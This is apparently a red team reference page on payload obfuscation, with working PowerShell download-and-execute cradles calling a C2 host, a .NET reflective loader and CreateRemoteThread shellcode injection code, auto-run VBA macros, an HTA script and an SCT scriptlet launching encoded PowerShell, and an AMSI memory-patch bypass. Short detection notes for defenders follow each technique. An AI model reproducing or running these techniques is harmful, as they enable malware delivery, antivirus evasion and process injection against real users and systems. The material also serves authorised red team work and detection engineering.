🔴 Red Team

Payload Obfuscation Reference

PowerShell, .NET, VBA, JavaScript, and shellcode obfuscation techniques — each with AMSI/AV bypass notes and detection signatures for defenders.

⚠️ This reference is for authorised red team engagements and for defenders to build better detection. Test all techniques only in lab environments or within scope of an engagement.

PowerShell Obfuscation Techniques

-EncodedCommand (Base64) AV Evasion: High T1059.001

Encode PowerShell commands in Base64 and pass via -EncodedCommand (-enc). Bypasses simple string matching on command line.

Technique
# Encode $cmd = "IEX(New-Object Net.WebClient).DownloadString('http://C2/payload.ps1')" $bytes = [System.Text.Encoding]::Unicode.GetBytes($cmd) $b64 = [Convert]::ToBase64String($bytes) powershell.exe -enc $b64 # One-liner to encode and execute powershell -enc $(python3 -c "import base64,sys; print(base64.b64encode(sys.argv[1].encode('utf-16-le')).decode())" "IEX(IWR http://C2/p.ps1).Content")
Detection
PowerShell ScriptBlock logging (EID 4104) logs decoded content. Process command line contains -enc/-EncodedCommand. Base64 blob in command line — SIEM rule on long base64 strings. AMSI scans decoded content.
String Concatenation + IEX AV Evasion: High T1059.001

Split malicious strings across variables or concatenation to avoid signature matching, then execute with Invoke-Expression (IEX).

Technique
# Variable splitting $a = "IEX" $b = "(New-Object Net.WebClient)." $c = "DownloadString('http://c2/p.ps1')" & ([ScriptBlock]::Create($a+$b+$c)) # Character array reassembly $s = [char[]](73,69,88,40,...) -join "" IEX $s # Backtick insertion (escaped characters) I`E`X(Ne`w-O`bject Net.We`bClient).Do`wnloadString("http://c2/p.ps1")
Detection
ScriptBlock logging captures reassembled content. Heuristic: high density of string concatenation + IEX in same script block. AMSI sees final string before execution.
Reflection / Type Acceleration AV Evasion: High T1059.001

Use .NET reflection to call methods without using obvious PowerShell cmdlets. Avoids PowerShell-specific detection.

Technique
# Avoid obvious Invoke-Expression [System.Reflection.Assembly]::LoadWithPartialName("System.Net") $wc = New-Object System.Net.WebClient $code = $wc.DownloadString("http://c2/p.ps1") [ScriptBlock]::Create($code).Invoke() # Bypass using Add-Type with C# inline Add-Type -TypeDefinition @" using System; using System.Runtime.InteropServices; public class Win32 { [DllImport("kernel32")] public static extern IntPtr VirtualAlloc(IntPtr a,uint b,uint c,uint d); } "@
Detection
ScriptBlock logging captures reflection calls. Add-Type compilation events. .NET assembly load events. MDE Advanced Hunting: DeviceEvents where ActionType == "AntivirusDetection".
Gzip Decompression + IEX AV Evasion: High T1059.001

Compress payload, Base64-encode, and decompress in-memory at runtime. Combines two bypass layers.

Technique
# Compress payload at generation time $code = Get-Content payload.ps1 -Raw $bytes = [System.Text.Encoding]::Unicode.GetBytes($code) $ms = New-Object System.IO.MemoryStream $gz = New-Object System.IO.Compression.GZipStream($ms,[IO.Compression.CompressionMode]::Compress) $gz.Write($bytes,0,$bytes.Length); $gz.Close() $b64 = [Convert]::ToBase64String($ms.ToArray()) # Execute on victim (one-liner) IEX (New-Object IO.StreamReader(New-Object IO.Compression.GZipStream([IO.MemoryStream][Convert]::FromBase64String("BASE64_HERE"),[IO.Compression.CompressionMode]::Decompress))).ReadToEnd()
Detection
AMSI sees decompressed content before execution. ScriptBlock logging captures final script. Hunting: GZipStream + IEX pattern in command line.
SecureString / ConstrainedLanguage Bypass AV Evasion: Medium T1059.001

Use SecureString encryption to hide string content from static analysis. Bypass Constrained Language Mode (CLM) via various techniques.

Technique
# SecureString to hide strings $ss = ConvertTo-SecureString "IEX..." -AsPlainText -Force $ptr = [System.Runtime.InteropServices.Marshal]::SecureStringToBSTR($ss) $str = [System.Runtime.InteropServices.Marshal]::PtrToStringAuto($ptr) Invoke-Expression $str # CLM Bypass — spawn unconstrained process $bytes = [IO.File]::ReadAllBytes("C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe") # Or use COM object to spawn new PowerShell process
Detection
SecureString operations in script blocks. ScriptBlock logging still captures final result. Process spawn patterns — powershell spawning powershell.

.NET / C# Obfuscation & Evasion

PE Reflective Loading

Load a .NET assembly (EXE/DLL) directly into memory from a byte array — no file on disk. Bypasses hash-based detection and file monitoring.

// Load .NET assembly from bytes (C#) byte[] assemblyBytes = File.ReadAllBytes("payload.exe"); // Or download from URL: // byte[] assemblyBytes = new WebClient().DownloadData("http://c2/payload.exe"); Assembly asm = Assembly.Load(assemblyBytes); MethodInfo entry = asm.EntryPoint; entry.Invoke(null, new object[] { new string[] { } });

Process Injection — Classic CreateRemoteThread

// Classic shellcode injection via CreateRemoteThread [DllImport("kernel32.dll")] static extern IntPtr OpenProcess(uint a, bool b, int c); [DllImport("kernel32.dll")] static extern IntPtr VirtualAllocEx(IntPtr h, IntPtr a, uint s, uint t, uint p); [DllImport("kernel32.dll")] static extern bool WriteProcessMemory(IntPtr h, IntPtr a, byte[] b, uint s, out IntPtr w); [DllImport("kernel32.dll")] static extern IntPtr CreateRemoteThread(IntPtr h, IntPtr a, uint s, IntPtr f, IntPtr p, uint c, IntPtr t); // Usage: int targetPid = Process.GetProcessesByName("explorer")[0].Id; IntPtr hProc = OpenProcess(0x1F0FFF, false, targetPid); IntPtr addr = VirtualAllocEx(hProc, IntPtr.Zero, (uint)shellcode.Length, 0x3000, 0x40); WriteProcessMemory(hProc, addr, shellcode, (uint)shellcode.Length, out _); CreateRemoteThread(hProc, IntPtr.Zero, 0, addr, IntPtr.Zero, 0, IntPtr.Zero);

Detection: .NET Obfuscation

Assembly.Load from byte arrays triggers ETW (Event Tracing for Windows) events. EDR hooks — NtAllocateVirtualMemory, NtWriteVirtualMemory, NtCreateThreadEx. AMSI integration for .NET 4.8+ scans assembly before load. Memory scanners (Moneta, pe-sieve) detect injected PE regions.

VBA / Office Macro Obfuscation

Chr() Array Reconstruction

' Reconstruct malicious string from char codes ' Avoids direct string matching Sub AutoOpen() Dim s As String s = Chr(80) & Chr(111) & Chr(119) & Chr(101) & Chr(114) & Chr(83) & Chr(104) & Chr(101) & Chr(108) & Chr(108) ' = "PowerShell" Dim args As String args = Chr(45) & Chr(101) & Chr(110) & Chr(99) & " " & "BASE64_PAYLOAD_HERE" Shell s & " " & args, vbHide End Sub

WScript.Shell via COM — Shell without Shell command

' Use WScript.Shell to execute without VBA Shell command Sub Document_Open() Dim wsh As Object Set wsh = CreateObject("WScript.Shell") wsh.Run "cmd.exe /c powershell -enc BASE64_PAYLOAD", 0, False Set wsh = Nothing End Sub ' Alternative: Excel.Application (bypasses Word restrictions) Sub AutoOpen() Dim x As Object Set x = CreateObject("Excel.Application") x.DisplayAlerts = False x.DDEInitiate "cmd", "/c powershell -enc BASE64" End Sub

VBA Stomping

Replace VBA source code in the docm file with dummy/empty code while keeping the compiled p-code (which runs) unchanged. Most analysis tools show the decoy code, not what actually executes. Detected by olevba with --deobf flag and by Cobalt Strike's VBA stomping detection tool.

Detection: Office Macros

Office spawning cmd.exe/powershell.exe (high-confidence indicator — EID 4688, Sysmon EID 1). olevba analysis of documents in email security gateway. AMSI for Office 365 — macros scanned before execution. ASR (Attack Surface Reduction) rules: Block Office applications from creating child processes. WMI event subscriptions from Office. Network connections from Office applications.

JavaScript / HTA / WSH Obfuscation

eval() with String Splitting

// JavaScript HTA payload // Split execution string to avoid signature var p1 = "pow"; var p2 = "er"; var p3 = "shell"; var cmd = p1 + p2 + p3; var args = " -enc " + "BASE64_PAYLOAD_HERE"; var wsh = new ActiveXObject("WScript.Shell"); wsh.Run(cmd + args, 0, false);

JScript in SCT (Scriptlets)

<?XML version="1.0"?> <!-- Saved as payload.sct — invoked via: regsvr32 /s /n /u /i:http://c2/payload.sct scrobj.dll --> <scriptlet> <registration progid="ShortJSRAT" classid="{10001111-0000-0000-0000-0000FEEDACDC}"> <script language="JScript"> <![CDATA[ var wsh = new ActiveXObject("WScript.Shell"); wsh.Run("powershell -enc BASE64_PAYLOAD", 0, false); ]]> </script> </registration> </scriptlet>

Detection: JS/HTA/WSH

mshta.exe, wscript.exe, cscript.exe spawning cmd.exe or powershell.exe. Network connections from script hosts. Sysmon EID 1: parent process = mshta.exe. regsvr32.exe making network connections (EID 3). AppLocker/SRP rules blocking script hosts. AMSI for JScript/VBScript (Windows 10+).

AMSI — What It Is and Bypass Techniques

AMSI (Antimalware Scan Interface) allows AV products to scan content at runtime — PowerShell scripts before execution, .NET assemblies before load, JScript/VBScript before execution. Content is passed to registered AV providers. If flagged, execution is blocked.

Memory Patch — AmsiScanBuffer

Patch the AmsiScanBuffer function in amsi.dll in the current process to always return AMSI_RESULT_CLEAN. Requires no elevated privileges — modifies memory in current process only.

# PowerShell AMSI patch (educational — patched by most modern EDR) # This patches AmsiScanBuffer to return 0x80070057 (ERROR_INVALID_PARAMETER) $a=[Ref].Assembly.GetTypes();Foreach($b in $a){if($b.Name -like "*iUtils"){$c=$b}}; $d=$c.GetFields('NonPublic,Static');Foreach($e in $d){if($e.Name -like "*Context"){$f=$e}}; $g=$f.GetValue($null);[IntPtr]$h=$g;$i=[System.Runtime.InteropServices.Marshal]::ReadInt32($h); $j=[System.Runtime.InteropServices.Marshal]::ReadInt32([IntPtr]($h+0x8)); [System.Runtime.InteropServices.Marshal]::WriteInt32([IntPtr]($h+0x8),0xB8D18B72)

AMSI Context Zeroing

# Zero AMSI context — alternative approach # Note: Both approaches are heavily signatured in 2024+ # Modern approach uses obfuscated variants or hardware breakpoints # Detect AMSI before attempting bypass try { [Ref].Assembly.GetType('System.Management.Automation.AmsiUtils') | Out-Null Write-Host "AMSI is active" } catch { Write-Host "AMSI not available" }

AMSI Detection for Defenders

EID 4104 (Script Block Logging): look for AMSI-related strings (AmsiScanBuffer, amsi.dll, amsiInitFailed). Memory: hook monitoring will detect writes to amsi.dll text section. EDR: AMSI provider telemetry — AV products log AMSI scan calls including blocked content. PowerShell Transcription logging captures all output regardless of AMSI.

AMSI Provider Stack (Windows)

Windows Defender AMSI Provider: Default — scans PowerShell, JScript, VBScript content
Microsoft Defender for Endpoint (MDE): Additional telemetry; behaviour-based detection on AMSI results
Third-party AV (CrowdStrike, Carbon Black): Register as AMSI provider via HKLM\SOFTWARE\Microsoft\AMSI\Providers
Office 365 AMSI Integration: Office macros scanned before execution on O365 ProPlus
.NET 4.8 AMSI Integration: Assembly.Load() calls pass through AMSI before loading